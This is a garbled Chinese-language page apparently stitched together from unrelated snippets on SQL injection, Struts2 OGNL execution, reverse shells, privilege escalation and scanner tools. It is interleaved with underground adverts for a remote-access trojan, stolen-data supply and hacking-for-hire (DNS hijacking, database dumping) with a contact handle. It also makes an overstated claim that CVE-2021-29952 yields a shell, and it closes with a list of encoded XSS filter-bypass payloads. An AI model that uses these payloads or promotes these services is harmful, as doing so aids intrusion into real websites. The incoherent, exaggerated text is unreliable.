一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具。从 优信二手车内部安全平台 分离出来的一个模块, 支持 Har 文件的扫描 Burp Suite 是用于攻击web 应用程序的集成平台，包含了许多工具。Burp Suite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

SQL注入拿下分站
一般分站或者一些子站点的注入都是比较多的！这里前期信息收集的时候发现了几个PHP的网站，并且测试到了有SQL注入漏洞，这个注入点是一个搜索框里面的报错注入！

可惜的就是这里面提供的IP地址的1443端口都是关闭的！准确的说是被防火墙拦截了吧！一直连接不上去！在备份文件中找到了某个邮箱系统的密码
直接继续到 SendGrid即可！！进入到用户界面

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统，通过搜索功能可清晰的了解内部网络资产分布情况，并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。

Nessus是全球使用人数最多的系统漏洞扫描与分析软件、威力强大、更新频繁并简易使用的远端系统安全扫描程序，功能十分强大。

Struts2的DefaultActionMapper支持一种方法，可以使用action:、“redirect:”、redirectAction:对输入信息进行处理，从而改变前参数，这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中没有对action:”、“redirect:”、“redirectAction:等进行处理，导致ongl表达式可以被执行

继承Web服务程序的权限去执行系统命令或读-写文件
运行Web服务的用户权限等于黑客利用漏洞后执行命令的权限反弹shell
通过特定方式进行反弹shell攻击
控制整个网站甚至控制服务器
根据权限，，可能服务器整体被陷
进一步内网渗透
把当前控制的机器当作数据包来控制其他内网机器

对利用客户端弹窗挂马的某病毒服务器取证发现的flash漏洞exp

据了解很多软件厂商对自身广告流量的管理监控都存在漏洞，有些甚至经过了多层代理分包，又缺乏统一有力的安全审核机制，导致被插入网页木马的“染毒流量”被大批推送到客户端，最终导致用户系统感染病毒。在样本溯源过程中，我们甚至在某知名音乐软件中发现一个专门用于暗刷广告流量的子模块。用户越多责任越大，且行且珍惜。

用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下执行命令，可能会允许攻击者通过改变SPATH或程序执行环境的其他方面来执行一个恶意构造的代码。
在操作系统中，“8、、都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有函数指定绝对路径的情况下就执行命令。

不管什么控，新控老控。它适合你用，就是好控。不适合的，就算能控导弹，他对你也没用。别带着一副高深莫测的样子来找控，懂就直接测，不懂就带着想要的功能想法来，测试最直接，简单干脆就行，合适就用，不合适就继续找找。

wions4.0 实力驱动级保鸡 远控源的天花板 稳定 轻松上线

局域网和专有网络（VPC）统称为网络域。在网络域与堡垒机所在的专有网络（VPC）网络不互通的情况下，您可以通过将网络域中的某一台服务器设置为代理服务器，在确保堡垒机与代理服务器网络互通后，通过连接代理服务器运维网络域中的其他服务器

数据不断，持续供应。不要问我在不在，直接说事就行。天天来要格式的记者不要来找骂 不要一来就叽叽歪歪的，我能给的只有保证一手，质量。圈子很小，伺候不了的大爷我只能说请出门左拐

shell也可以运行在另外一种模式：非交互式模式。在这种模式下，shell不与用户进行交互，而是读取存放在文件中的命令，并且执行它们。当它读到文件的结尾，shell也就终止了

提权（提权）
提权，顾名思义就是提高自己在服务器中的权限，就比如在windows中你本身登录的用户是
guest，然后通过提权后就变成超级管理员，拥有了管理Windows的所有权限

Root，也称为根用户，是Unix和类UNIX系统，及Android和iOS移动设备系统中的唯一的超级用户，因其可对根目录执行读写和执行操作而得名。其相当于windows系统中的system(XP及以下)/trustedlnstaller(Vista及以上)用户。其具有系统中的最高权限，如启动或停止一个进程，删除或增加用户，增加或者禁用硬件，新建文件、修改文件或删除所有文件等等。

碼就是指編寫的最原始程式的代碼。運行的軟體是要經過編寫的，程式設計師編寫程式的過程中需要他們的“語言”。音樂家用五線譜和音符，建築師用圖紙和筆，那程式設計師的工作的語言就是“源碼”了

出 FireFox漏洞，可以注入任意代码

受影响系统：
Mozilla Firefox < 88.0.1
Mozilla Firefox for Android < 88.1.3
描述：
----------------------------------------------------
CVE(CAN) ID: CVE-2021-29952

火狐88.0.1以前的系统，皆可以注入。拿到shell

网站后台，博客网站后台 APP后台
渗透测试破解admin获取账号，修改数据，填充截
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8

编码“javascript”方案
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

编码冒号 (:)
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;警报(1)
javascript&#x3A;alert()

方案后编码JS
HTML实体/编码：
javascript:警报&lpar;&rpar;
javascript:al&#x65;rt``

网址编码：
javascript:警报%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

JS 统一码：
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``